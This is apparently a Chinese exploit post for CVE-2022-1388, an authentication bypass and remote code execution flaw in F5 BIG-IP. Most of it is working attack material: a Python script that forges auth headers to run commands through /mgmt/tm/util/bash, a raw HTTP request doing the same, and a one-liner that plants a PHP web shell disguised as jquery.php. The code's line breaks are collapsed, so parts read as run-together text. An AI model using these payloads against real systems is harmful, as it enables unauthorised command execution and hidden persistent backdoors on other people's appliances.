CVE-2022-1388：F5 BIG-IP身份验证绕过RCE

https://www.f5.com/trials

https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v14.x&ver=14.1.2

import requestsimport jsonimport sslimport urllib3urllib3.disable_warnings()ssl._create_default_https_context = ssl._create_unverified_contextrequests.packages.urllib3.disable_warnings() def attack(target_url):    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",        'Content-Type': 'application/json',        'Connection': 'Keep-Alive, X-F5-Auth-Token, X-Forwarded-Host',        'X-F5-Auth-Token': 'a',        'Authorization': 'Basic YWRtaW46'    }    cmd = 'whoami'    attack_url = target_url + '/mgmt/tm/util/bash'    data = {'command': "run", 'utilCmdArgs': "-c '{0}'".format(cmd)}    try:        response = requests.post(url=attack_url, json=data, headers=headers, verify=False, timeout=5)        if response.status_code == 200 and 'commandResult' in response.text:            default = json.loads(response.text)            display = default['commandResult']            print("[+] 目标 {} 存在漏洞".format(target_url))            print('[+] 响应为:{0}'.format(display))        else:            print("[-] 目标 {} 不存在漏洞".format(target_url))    except Exception as e:        print('url 访问异常 {0}'.format(target_url))  if __name__ == '__main__':    target_url = "https://10.0.24.55/"    print(target_url)    attack(target_url)

POST /mgmt/tm/util/bash HTTP/1.1Host: xx.xx.xx.xxUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36Authorization: Basic YWRtaW46Connection: keep-alive, X-F5-Auth-TokenContent-Type: application/jsonX-F5-Auth-Token: aAccept-Encoding: gzip
{  "command": "run",  "utilCmdArgs": "-c id"}

mount -o remount -rw /usr ;echo 'It works!<?php $a=$_GET["cmd"];system($a);?>' > /usr/local/www/xui/common/scripts/jquery.php;mount -o remount -r /usr